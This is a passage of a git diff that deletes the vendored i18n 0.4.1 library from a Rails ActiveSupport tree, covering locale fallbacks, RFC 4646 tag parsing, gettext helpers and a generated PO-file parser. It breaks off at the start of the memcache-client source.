-    # Returns the current default scope separator. Defaults to '.'
-    def default_separator
-      @@default_separator ||= '.'
-    end
-
-    # Sets the current default scope separator.
-    def default_separator=(separator)
-      @@default_separator = separator
-    end
-
-    # Return the current exception handler. Defaults to :default_exception_handler.
-    def exception_handler
-      @@exception_handler ||= :default_exception_handler
-    end
-
-    # Sets the exception handler.
-    def exception_handler=(exception_handler)
-      @@exception_handler = exception_handler
-    end
-
-    # Allow clients to register paths providing translation data sources. The
-    # backend defines acceptable sources.
-    #
-    # E.g. the provided SimpleBackend accepts a list of paths to translation
-    # files which are either named *.rb and contain plain Ruby Hashes or are
-    # named *.yml and contain YAML data. So for the SimpleBackend clients may
-    # register translation files like this:
-    #   I18n.load_path << 'path/to/locale/en.yml'
-    def load_path
-      @@load_path ||= []
-    end
-
-    # Sets the load path instance. Custom implementations are expected to
-    # behave like a Ruby Array.
-    def load_path=(load_path)
-      @@load_path = load_path
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/core_ext/hash.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/core_ext/hash.rb
deleted file mode 100644
index f2a2422b..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/core_ext/hash.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-class Hash
-  def slice(*keep_keys)
-    h = {}
-    keep_keys.each { |key| h[key] = fetch(key) }
-    h
-  end unless Hash.method_defined?(:slice)
-
-  def except(*less_keys)
-    slice(*keys - less_keys)
-  end unless Hash.method_defined?(:except)
-
-  def deep_symbolize_keys
-    inject({}) { |result, (key, value)|
-      value = value.deep_symbolize_keys if value.is_a?(Hash)
-      result[(key.to_sym rescue key) || key] = value
-      result
-    }
-  end unless Hash.method_defined?(:deep_symbolize_keys)
-
-  # deep_merge_hash! by Stefan Rusterholz, see http://www.ruby-forum.com/topic/142809
-  MERGER = proc do |key, v1, v2|
-    Hash === v1 && Hash === v2 ? v1.merge(v2, &MERGER) : v2
-  end
-  
-  def deep_merge!(data)
-    merge!(data, &MERGER)
-  end unless Hash.method_defined?(:deep_merge!)
-end
-
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/core_ext/string/interpolate.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/core_ext/string/interpolate.rb
deleted file mode 100644
index 585af6fb..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/core_ext/string/interpolate.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-# encoding: utf-8
-
-=begin
-  heavily based on Masao Mutoh's gettext String interpolation extension
-  http://github.com/mutoh/gettext/blob/f6566738b981fe0952548c421042ad1e0cdfb31e/lib/gettext/core_ext/string.rb
-  Copyright (C) 2005-2009 Masao Mutoh
-  You may redistribute it and/or modify it under the same license terms as Ruby.
-=end
-
-begin
-  raise ArgumentError if ("a %{x}" % {:x=>'b'}) != 'a b'
-rescue ArgumentError
-  # KeyError is raised by String#% when the string contains a named placeholder
-  # that is not contained in the given arguments hash. Ruby 1.9 includes and
-  # raises this exception natively. We define it to mimic Ruby 1.9's behaviour
-  # in Ruby 1.8.x
-  class KeyError < IndexError
-    def initialize(message = nil)
-      super(message || "key not found")
-    end
-  end unless defined?(KeyError)
-
-  # Extension for String class. This feature is included in Ruby 1.9 or later but not occur TypeError.
-  #
-  # String#% method which accept "named argument". The translator can know
-  # the meaning of the msgids using "named argument" instead of %s/%d style.
-  class String
-    # For older ruby versions, such as ruby-1.8.5
-    alias :bytesize :size unless instance_methods.find {|m| m.to_s == 'bytesize'}
-    alias :interpolate_without_ruby_19_syntax :% # :nodoc:
-
-    INTERPOLATION_PATTERN = Regexp.union(
-      /%\{(\w+)\}/,                               # matches placeholders like "%{foo}"
-      /%<(\w+)>(.*?\d*\.?\d*[bBdiouxXeEfgGcps])/  # matches placeholders like "%<foo>.d"
-    )
-
-    INTERPOLATION_PATTERN_WITH_ESCAPE = Regexp.union(
-      /%%/,
-      INTERPOLATION_PATTERN
-    )
-
-    # % uses self (i.e. the String) as a format specification and returns the
-    # result of applying it to the given arguments. In other words it interpolates
-    # the given arguments to the string according to the formats the string
-    # defines.
-    #
-    # There are three ways to use it:
-    #
-    # * Using a single argument or Array of arguments.
-    #
-    #   This is the default behaviour of the String class. See Kernel#sprintf for
-    #   more details about the format string.
-    #
-    #   Example:
-    #
-    #     "%d %s" % [1, "message"]
-    #     # => "1 message"
-    #
-    # * Using a Hash as an argument and unformatted, named placeholders.
-    #
-    #   When you pass a Hash as an argument and specify placeholders with %{foo}
-    #   it will interpret the hash values as named arguments.
-    #
-    #   Example:
-    #
-    #     "%{firstname}, %{lastname}" % {:firstname => "Masao", :lastname => "Mutoh"}
-    #     # => "Masao Mutoh"
-    #
-    # * Using a Hash as an argument and formatted, named placeholders.
-    #
-    #   When you pass a Hash as an argument and specify placeholders with %<foo>d
-    #   it will interpret the hash values as named arguments and format the value
-    #   according to the formatting instruction appended to the closing >.
-    #
-    #   Example:
-    #
-    #     "%<integer>d, %<float>.1f" % { :integer => 10, :float => 43.4 }
-    #     # => "10, 43.3"
-    def %(args)
-      if args.kind_of?(Hash)
-        dup.gsub(INTERPOLATION_PATTERN_WITH_ESCAPE) do |match|
-          if match == '%%'
-            '%'
-          else
-            key = ($1 || $2).to_sym
-            raise KeyError unless args.has_key?(key)
-            $3 ? sprintf("%#{$3}", args[key]) : args[key]
-          end
-        end
-      elsif self =~ INTERPOLATION_PATTERN
-        raise ArgumentError.new('one hash required')
-      else
-        result = gsub(/%([{<])/, '%%\1')
-        result.send :'interpolate_without_ruby_19_syntax', args
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/exceptions.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/exceptions.rb
deleted file mode 100644
index 766a1717..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/exceptions.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# encoding: utf-8
-
-class KeyError < IndexError
-  def initialize(message = nil)
-    super(message || "key not found")
-  end
-end unless defined?(KeyError)
-
-module I18n
-  class ArgumentError < ::ArgumentError; end
-
-  class InvalidLocale < ArgumentError
-    attr_reader :locale
-    def initialize(locale)
-      @locale = locale
-      super "#{locale.inspect} is not a valid locale"
-    end
-  end
-
-  class MissingTranslationData < ArgumentError
-    attr_reader :locale, :key, :options
-    def initialize(locale, key, opts = nil)
-      @key, @locale, @options = key, locale, opts || {}
-      keys = I18n.normalize_keys(locale, key, options[:scope])
-      keys << 'no key' if keys.size < 2
-      super "translation missing: #{keys.join(', ')}"
-    end
-  end
-
-  class InvalidPluralizationData < ArgumentError
-    attr_reader :entry, :count
-    def initialize(entry, count)
-      @entry, @count = entry, count
-      super "translation data #{entry.inspect} can not be used with :count => #{count}"
-    end
-  end
-
-  class MissingInterpolationArgument < ArgumentError
-    attr_reader :values, :string
-    def initialize(values, string)
-      @values, @string = values, string
-      super "missing interpolation argument in #{string.inspect} (#{values.inspect} given)"
-    end
-  end
-
-  class ReservedInterpolationKey < ArgumentError
-    attr_reader :key, :string
-    def initialize(key, string)
-      @key, @string = key, string
-      super "reserved key #{key.inspect} used in #{string.inspect}"
-    end
-  end
-
-  class UnknownFileType < ArgumentError
-    attr_reader :type, :filename
-    def initialize(type, filename)
-      @type, @filename = type, filename
-      super "can not load translations from #{filename}, the file type #{type} is not known"
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext.rb
deleted file mode 100644
index a824aa5a..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# encoding: utf-8
-
-module I18n
-  module Gettext
-    PLURAL_SEPARATOR  = "\001"
-    CONTEXT_SEPARATOR = "\004"
-
-    autoload :Helpers, 'i18n/gettext/helpers'
-
-    @@plural_keys = { :en => [:one, :other] }
-
-    class << self
-      # returns an array of plural keys for the given locale so that we can
-      # convert from gettext's integer-index based style
-      # TODO move this information to the pluralization module
-      def plural_keys(locale)
-        @@plural_keys[locale] || @@plural_keys[:en]
-      end
-
-      def extract_scope(msgid, separator)
-        scope = msgid.to_s.split(separator)
-        msgid = scope.pop
-        [scope, msgid]
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext/helpers.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext/helpers.rb
deleted file mode 100644
index 17841639..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext/helpers.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# encoding: utf-8
-require 'i18n/gettext'
-
-module I18n
-  module Gettext
-    # Implements classical Gettext style accessors. To use this include the
-    # module to the global namespace or wherever you want to use it.
-    #
-    #   include I18n::Helpers::Gettext
-    module Helpers
-      def gettext(msgid, options = {})
-        I18n.t(msgid, { :default => msgid, :separator => '|' }.merge(options))
-      end
-      alias _ gettext
-
-      def sgettext(msgid, separator = '|')
-        scope, msgid = I18n::Gettext.extract_scope(msgid, separator)
-        I18n.t(msgid, :scope => scope, :default => msgid, :separator => separator)
-      end
-      alias s_ sgettext
-
-      def pgettext(msgctxt, msgid)
-        separator = I18n::Gettext::CONTEXT_SEPARATOR
-        sgettext([msgctxt, msgid].join(separator), separator)
-      end
-      alias p_ pgettext
-
-      def ngettext(msgid, msgid_plural, n = 1)
-        nsgettext(msgid, msgid_plural, n)
-      end
-      alias n_ ngettext
-
-      # Method signatures:
-      #   nsgettext('Fruits|apple', 'apples', 2)
-      #   nsgettext(['Fruits|apple', 'apples'], 2)
-      def nsgettext(msgid, msgid_plural, n = 1, separator = '|')
-        if msgid.is_a?(Array)
-          msgid, msgid_plural, n, separator = msgid[0], msgid[1], msgid_plural, n
-          separator = '|' unless separator.is_a?(::String)
-        end
-
-        scope, msgid = I18n::Gettext.extract_scope(msgid, separator)
-        default = { :one => msgid, :other => msgid_plural }
-        I18n.t(msgid, :default => default, :count => n, :scope => scope, :separator => separator)
-      end
-      alias ns_ nsgettext
-
-      # Method signatures:
-      #   npgettext('Fruits', 'apple', 'apples', 2)
-      #   npgettext('Fruits', ['apple', 'apples'], 2)
-      def npgettext(msgctxt, msgid, msgid_plural, n = 1)
-        separator = I18n::Gettext::CONTEXT_SEPARATOR
-
-        if msgid.is_a?(Array)
-          msgid_plural, msgid, n = msgid[1], [msgctxt, msgid[0]].join(separator), msgid_plural
-        else
-          msgid = [msgctxt, msgid].join(separator)
-        end
-
-        nsgettext(msgid, msgid_plural, n, separator)
-      end
-      alias np_ npgettext
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext/po_parser.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext/po_parser.rb
deleted file mode 100644
index 547df6a5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/gettext/po_parser.rb
+++ /dev/null
@@ -1,329 +0,0 @@
-=begin
-  poparser.rb - Generate a .mo
-
-  Copyright (C) 2003-2009 Masao Mutoh <mutoh at highway.ne.jp>
-
-  You may redistribute it and/or modify it under the same
-  license terms as Ruby.
-=end
-
-#MODIFIED
-# removed include GetText etc
-# added stub translation method _(x)
-require 'racc/parser'
-
-module GetText
-
-  class PoParser < Racc::Parser
-
-    def _(x)
-      x
-    end
-
-module_eval <<'..end src/poparser.ry modeval..id7a99570e05', 'src/poparser.ry', 108
-  def unescape(orig)
-    ret = orig.gsub(/\\n/, "\n")
-    ret.gsub!(/\\t/, "\t")
-    ret.gsub!(/\\r/, "\r")
-    ret.gsub!(/\\"/, "\"")
-    ret
-  end
-  
-  def parse(str, data, ignore_fuzzy = true)
-    @comments = []
-    @data = data
-    @fuzzy = false
-    @msgctxt = ""
-    $ignore_fuzzy = ignore_fuzzy
-
-    str.strip!
-    @q = []
-    until str.empty? do
-      case str
-      when /\A\s+/
-	str = $'
-      when /\Amsgctxt/
-	@q.push [:MSGCTXT, $&]
-	str = $'
-      when /\Amsgid_plural/
-	@q.push [:MSGID_PLURAL, $&]
-	str = $'
-      when /\Amsgid/
-	@q.push [:MSGID, $&]
-	str = $'
-      when /\Amsgstr/
-	@q.push [:MSGSTR, $&]
-	str = $'
-      when /\A\[(\d+)\]/
-	@q.push [:PLURAL_NUM, $1]
-	str = $'
-      when /\A\#~(.*)/
-	$stderr.print _("Warning: obsolete msgid exists.\n")
-	$stderr.print "         #{$&}\n"
-	@q.push [:COMMENT, $&]
-	str = $'
-      when /\A\#(.*)/
-	@q.push [:COMMENT, $&]
-	str = $'      
-      when /\A\"(.*)\"/
-	@q.push [:STRING, $1]
-	str = $'
-      else
-	#c = str[0,1]
-	#@q.push [:STRING, c]
-	str = str[1..-1]
-      end
-    end 
-    @q.push [false, '$end']
-    if $DEBUG
-      @q.each do |a,b|
-      puts "[#{a}, #{b}]"
-      end
-    end
-    @yydebug = true if $DEBUG
-    do_parse
-
-    if @comments.size > 0
-      @data.set_comment(:last, @comments.join("\n"))
-    end
-    @data
-  end
-  
-  def next_token
-    @q.shift
-  end
-
-  def on_message(msgid, msgstr)
-    if msgstr.size > 0
-      @data[msgid] = msgstr
-      @data.set_comment(msgid, @comments.join("\n"))
-    end
-    @comments.clear
-    @msgctxt = ""
-  end
-      
-  def on_comment(comment)
-    @fuzzy = true if (/fuzzy/ =~ comment)
-    @comments << comment
-  end 
-
-
-..end src/poparser.ry modeval..id7a99570e05
-
-##### racc 1.4.5 generates ###
-
-racc_reduce_table = [
- 0, 0, :racc_error,
- 0, 10, :_reduce_none,
- 2, 10, :_reduce_none,
- 2, 10, :_reduce_none,
- 2, 10, :_reduce_none,
- 2, 12, :_reduce_5,
- 1, 13, :_reduce_none,
- 1, 13, :_reduce_none,
- 4, 15, :_reduce_8,
- 5, 16, :_reduce_9,
- 2, 17, :_reduce_10,
- 1, 17, :_reduce_none,
- 3, 18, :_reduce_12,
- 1, 11, :_reduce_13,
- 2, 14, :_reduce_14,
- 1, 14, :_reduce_15 ]
-
-racc_reduce_n = 16
-
-racc_shift_n = 26
-
-racc_action_table = [
-     3,    13,     5,     7,     9,    15,    16,    17,    20,    17,
-    13,    17,    13,    13,    11,    17,    23,    20,    13,    17 ]
-
-racc_action_check = [
-     1,    16,     1,     1,     1,    12,    12,    12,    18,    18,
-     7,    14,    15,     9,     3,    19,    20,    21,    23,    25 ]
-
-racc_action_pointer = [
-   nil,     0,   nil,    14,   nil,   nil,   nil,     3,   nil,     6,
-   nil,   nil,     0,   nil,     4,     5,    -6,   nil,     2,     8,
-     8,    11,   nil,    11,   nil,    12 ]
-
-racc_action_default = [
-    -1,   -16,    -2,   -16,    -3,   -13,    -4,   -16,    -6,   -16,
-    -7,    26,   -16,   -15,    -5,   -16,   -16,   -14,   -16,    -8,
-   -16,    -9,   -11,   -16,   -10,   -12 ]
-
-racc_goto_table = [
-    12,    22,    14,     4,    24,     6,     2,     8,    18,    19,
-    10,    21,     1,   nil,   nil,   nil,    25 ]
-
-racc_goto_check = [
-     5,     9,     5,     3,     9,     4,     2,     6,     5,     5,
-     7,     8,     1,   nil,   nil,   nil,     5 ]
-
-racc_goto_pointer = [
-   nil,    12,     5,     2,     4,    -7,     6,     9,    -7,   -17 ]
-
-racc_goto_default = [
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil ]
-
-racc_token_table = {
- false => 0,
- Object.new => 1,
- :COMMENT => 2,
- :MSGID => 3,
- :MSGCTXT => 4,
- :MSGID_PLURAL => 5,
- :MSGSTR => 6,
- :STRING => 7,
- :PLURAL_NUM => 8 }
-
-racc_use_result_var = true
-
-racc_nt_base = 9
-
-Racc_arg = [
- racc_action_table,
- racc_action_check,
- racc_action_default,
- racc_action_pointer,
- racc_goto_table,
- racc_goto_check,
- racc_goto_default,
- racc_goto_pointer,
- racc_nt_base,
- racc_reduce_table,
- racc_token_table,
- racc_shift_n,
- racc_reduce_n,
- racc_use_result_var ]
-
-Racc_token_to_s_table = [
-'$end',
-'error',
-'COMMENT',
-'MSGID',
-'MSGCTXT',
-'MSGID_PLURAL',
-'MSGSTR',
-'STRING',
-'PLURAL_NUM',
-'$start',
-'msgfmt',
-'comment',
-'msgctxt',
-'message',
-'string_list',
-'single_message',
-'plural_message',
-'msgstr_plural',
-'msgstr_plural_line']
-
-Racc_debug_parser = true
-
-##### racc system variables end #####
-
- # reduce 0 omitted
-
- # reduce 1 omitted
-
- # reduce 2 omitted
-
- # reduce 3 omitted
-
- # reduce 4 omitted
-
-module_eval <<'.,.,', 'src/poparser.ry', 25
-  def _reduce_5( val, _values, result )
-    @msgctxt = unescape(val[1]) + "\004"
-   result
-  end
-.,.,
-
- # reduce 6 omitted
-
- # reduce 7 omitted
-
-module_eval <<'.,.,', 'src/poparser.ry', 48
-  def _reduce_8( val, _values, result )
-    if @fuzzy and $ignore_fuzzy 
-      if val[1] != ""
-        $stderr.print _("Warning: fuzzy message was ignored.\n")
-        $stderr.print "         msgid '#{val[1]}'\n"
-      else
-        on_message('', unescape(val[3]))
-      end
-      @fuzzy = false
-    else
-      on_message(@msgctxt + unescape(val[1]), unescape(val[3]))
-    end
-    result = ""
-   result
-  end
-.,.,
-
-module_eval <<'.,.,', 'src/poparser.ry', 65
-  def _reduce_9( val, _values, result )
-    if @fuzzy and $ignore_fuzzy
-      if val[1] != ""
-        $stderr.print _("Warning: fuzzy message was ignored.\n")
-        $stderr.print "msgid = '#{val[1]}\n"
-      else
-        on_message('', unescape(val[3]))
-      end
-      @fuzzy = false
-    else
-      on_message(@msgctxt + unescape(val[1]) + "\000" + unescape(val[3]), unescape(val[4]))
-    end
-    result = ""
-   result
-  end
-.,.,
-
-module_eval <<'.,.,', 'src/poparser.ry', 76
-  def _reduce_10( val, _values, result )
-    if val[0].size > 0
-      result = val[0] + "\000" + val[1]
-    else
-      result = ""
-    end
-   result
-  end
-.,.,
-
- # reduce 11 omitted
-
-module_eval <<'.,.,', 'src/poparser.ry', 84
-  def _reduce_12( val, _values, result )
-    result = val[2]
-   result
-  end
-.,.,
-
-module_eval <<'.,.,', 'src/poparser.ry', 91
-  def _reduce_13( val, _values, result )
-    on_comment(val[0])
-   result
-  end
-.,.,
-
-module_eval <<'.,.,', 'src/poparser.ry', 99
-  def _reduce_14( val, _values, result )
-    result = val.delete_if{|item| item == ""}.join
-   result
-  end
-.,.,
-
-module_eval <<'.,.,', 'src/poparser.ry', 103
-  def _reduce_15( val, _values, result )
-    result = val[0]
-   result
-  end
-.,.,
-
- def _reduce_none( val, _values, result )
-  result
- end
-
-  end   # class PoParser
-
-end   # module GetText
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale.rb
deleted file mode 100644
index 4f9d0266..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module I18n
-  module Locale
-  autoload :Fallbacks, 'i18n/locale/fallbacks'
-  autoload :Tag,       'i18n/locale/tag'
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/fallbacks.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/fallbacks.rb
deleted file mode 100644
index 11dcf8c2..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/fallbacks.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-# encoding: utf-8
-
-# Locale Fallbacks
-#
-# Extends the I18n module to hold a fallbacks instance which is set to an
-# instance of I18n::Locale::Fallbacks by default but can be swapped with a
-# different implementation.
-#
-# Locale fallbacks will compute a number of fallback locales for a given locale.
-# For example:
-#
-# <pre><code>
-# I18n.fallbacks[:"es-MX"] # => [:"es-MX", :es, :en] </code></pre>
-#
-# Locale fallbacks always fall back to
-#
-#   * all parent locales of a given locale (e.g. :es for :"es-MX") first,
-#   * the current default locales and all of their parents second
-#
-# The default locales are set to [I18n.default_locale] by default but can be
-# set to something else.
-#
-# One can additionally add any number of additional fallback locales manually.
-# These will be added before the default locales to the fallback chain. For
-# example:
-#
-#   # using the default locale as default fallback locale
-#
-#   I18n.default_locale = :"en-US"
-#   I18n.fallbacks = I18n::Fallbacks.new(:"de-AT" => :"de-DE")
-#   I18n.fallbacks[:"de-AT"] # => [:"de-AT", :"de-DE", :de, :"en-US", :en]
-#
-#   # using a custom locale as default fallback locale
-#
-#   I18n.fallbacks = I18n::Fallbacks.new(:"en-GB", :"de-AT" => :de, :"de-CH" => :de)
-#   I18n.fallbacks[:"de-AT"] # => [:"de-AT", :de, :"en-GB", :en]
-#   I18n.fallbacks[:"de-CH"] # => [:"de-CH", :de, :"en-GB", :en]
-#
-#   # mapping fallbacks to an existing instance
-#
-#   # people speaking Catalan also speak Spanish as spoken in Spain
-#   fallbacks = I18n.fallbacks
-#   fallbacks.map(:ca => :"es-ES")
-#   fallbacks[:ca] # => [:ca, :"es-ES", :es, :"en-US", :en]
-#
-#   # people speaking Arabian as spoken in Palestine also speak Hebrew as spoken in Israel
-#   fallbacks.map(:"ar-PS" => :"he-IL")
-#   fallbacks[:"ar-PS"] # => [:"ar-PS", :ar, :"he-IL", :he, :"en-US", :en]
-#   fallbacks[:"ar-EG"] # => [:"ar-EG", :ar, :"en-US", :en]
-#
-#   # people speaking Sami as spoken in Finnland also speak Swedish and Finnish as spoken in Finnland
-#   fallbacks.map(:sms => [:"se-FI", :"fi-FI"])
-#   fallbacks[:sms] # => [:sms, :"se-FI", :se, :"fi-FI", :fi, :"en-US", :en]
-
-module I18n
-  module Locale
-    class Fallbacks < Hash
-      def initialize(*mappings)
-        @map = {}
-        map(mappings.pop) if mappings.last.is_a?(Hash)
-        self.defaults = mappings.empty? ? [I18n.default_locale.to_sym] : mappings
-      end
-
-      def defaults=(defaults)
-        @defaults = defaults.map { |default| compute(default, false) }.flatten
-      end
-      attr_reader :defaults
-
-      def [](locale)
-        raise InvalidLocale.new(locale) if locale.nil?
-        locale = locale.to_sym
-        super || store(locale, compute(locale))
-      end
-
-      def map(mappings)
-        mappings.each do |from, to|
-          from, to = from.to_sym, Array(to)
-          to.each do |to|
-            @map[from] ||= []
-            @map[from] << to.to_sym
-          end
-        end
-      end
-
-      protected
-
-      def compute(tags, include_defaults = true)
-        result = Array(tags).collect do |tag|
-          tags = I18n::Locale::Tag.tag(tag).self_and_parents.map! { |t| t.to_sym }
-          tags.each { |tag| tags += compute(@map[tag]) if @map[tag] }
-          tags
-        end.flatten
-        result.push(*defaults) if include_defaults
-        result.uniq
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag.rb
deleted file mode 100644
index a640b446..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# encoding: utf-8
-
-module I18n
-  module Locale
-    module Tag
-      autoload :Parents, 'i18n/locale/tag/parents'
-      autoload :Rfc4646, 'i18n/locale/tag/rfc4646'
-      autoload :Simple,  'i18n/locale/tag/simple'
-
-      class << self
-        # Returns the current locale tag implementation. Defaults to +I18n::Locale::Tag::Simple+.
-        def implementation
-          @@implementation ||= Simple
-        end
-
-        # Sets the current locale tag implementation. Use this to set a different locale tag implementation.
-        def implementation=(implementation)
-          @@implementation = implementation
-        end
-
-        # Factory method for locale tags. Delegates to the current locale tag implementation.
-        def tag(tag)
-          implementation.tag(tag)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/parents.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/parents.rb
deleted file mode 100644
index a0944683..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/parents.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# encoding: utf-8
-
-module I18n
-  module Locale
-    module Tag
-      module Parents
-        def parent
-          @parent ||= begin
-            segs = to_a.compact
-            segs.length > 1 ? self.class.tag(*segs[0..(segs.length-2)].join('-')) : nil
-          end
-        end
-
-        def self_and_parents
-          @self_and_parents ||= [self] + parents
-        end
-
-        def parents
-          @parents ||= ([parent] + (parent ? parent.parents : [])).compact
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/rfc4646.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/rfc4646.rb
deleted file mode 100644
index c20d35ae..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/rfc4646.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-# encoding: utf-8
-
-# RFC 4646/47 compliant Locale tag implementation that parses locale tags to
-# subtags such as language, script, region, variant etc.
-#
-# For more information see by http://en.wikipedia.org/wiki/IETF_language_tag
-#
-# Rfc4646::Parser does not implement grandfathered tags.
-
-module I18n
-  module Locale
-    module Tag
-      RFC4646_SUBTAGS = [ :language, :script, :region, :variant, :extension, :privateuse, :grandfathered ]
-      RFC4646_FORMATS = { :language => :downcase, :script => :capitalize, :region => :upcase, :variant => :downcase }
-
-      class Rfc4646 < Struct.new(*RFC4646_SUBTAGS)
-        class << self
-          # Parses the given tag and returns a Tag instance if it is valid.
-          # Returns false if the given tag is not valid according to RFC 4646.
-          def tag(tag)
-            matches = parser.match(tag)
-            new(*matches) if matches
-          end
-
-          def parser
-            @@parser ||= Rfc4646::Parser
-          end
-
-          def parser=(parser)
-            @@parser = parser
-          end
-        end
-
-        include Parents
-
-        RFC4646_FORMATS.each do |name, format|
-          define_method(name) { self[name].send(format) unless self[name].nil? }
-        end
-
-        def to_sym
-          to_s.to_sym
-        end
-
-        def to_s
-          @tag ||= to_a.compact.join("-")
-        end
-
-        def to_a
-          members.collect { |attr| self.send(attr) }
-        end
-
-        module Parser
-          PATTERN = %r{\A(?:
-            ([a-z]{2,3}(?:(?:-[a-z]{3}){0,3})?|[a-z]{4}|[a-z]{5,8}) # language
-            (?:-([a-z]{4}))?                                        # script
-            (?:-([a-z]{2}|\d{3}))?                                  # region
-            (?:-([0-9a-z]{5,8}|\d[0-9a-z]{3}))*                     # variant
-            (?:-([0-9a-wyz](?:-[0-9a-z]{2,8})+))*                   # extension
-            (?:-(x(?:-[0-9a-z]{1,8})+))?|                           # privateuse subtag
-            (x(?:-[0-9a-z]{1,8})+)|                                 # privateuse tag
-            /* ([a-z]{1,3}(?:-[0-9a-z]{2,8}){1,2}) */               # grandfathered
-            )\z}xi
-
-          class << self
-            def match(tag)
-              c = PATTERN.match(tag.to_s).captures
-              c[0..4] << (c[5].nil? ? c[6] : c[5])  << c[7] # TODO c[7] is grandfathered, throw a NotImplemented exception here?
-            rescue
-              false
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/simple.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/simple.rb
deleted file mode 100644
index 0fddb366..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/locale/tag/simple.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# encoding: utf-8
-
-# Simple Locale tag implementation that computes subtags by simply splitting
-# the locale tag at '-' occurences.
-module I18n
-  module Locale
-    module Tag
-      class Simple
-        class << self
-          def tag(tag)
-            new(tag)
-          end
-        end
-
-        include Parents
-
-        attr_reader :tag
-
-        def initialize(*tag)
-          @tag = tag.join('-').to_sym
-        end
-
-        def subtags
-          @subtags = tag.to_s.split('-').map { |subtag| subtag.to_s }
-        end
-
-        def to_sym
-          tag
-        end
-
-        def to_s
-          tag.to_s
-        end
-
-        def to_a
-          subtags
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/version.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/version.rb
deleted file mode 100644
index e1186c28..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/version.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module I18n
-  VERSION = "0.4.1"
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.7.4/memcache.rb b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.7.4/memcache.rb
deleted file mode 100644
index f249da79..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.7.4/memcache.rb
+++ /dev/null
@@ -1,1107 +0,0 @@
-$TESTING = defined?($TESTING) && $TESTING
-
-require 'socket'
-require 'thread'
-require 'zlib'
-require 'digest/sha1'
-require 'net/protocol'
-
-##
-# A Ruby client library for memcached.
-#
-
-class MemCache
-
-  ##
-  # The version of MemCache you are using.
-
-  VERSION = '1.7.4'
-
-  ##
-  # Default options for the cache object.
-
-  DEFAULT_OPTIONS = {
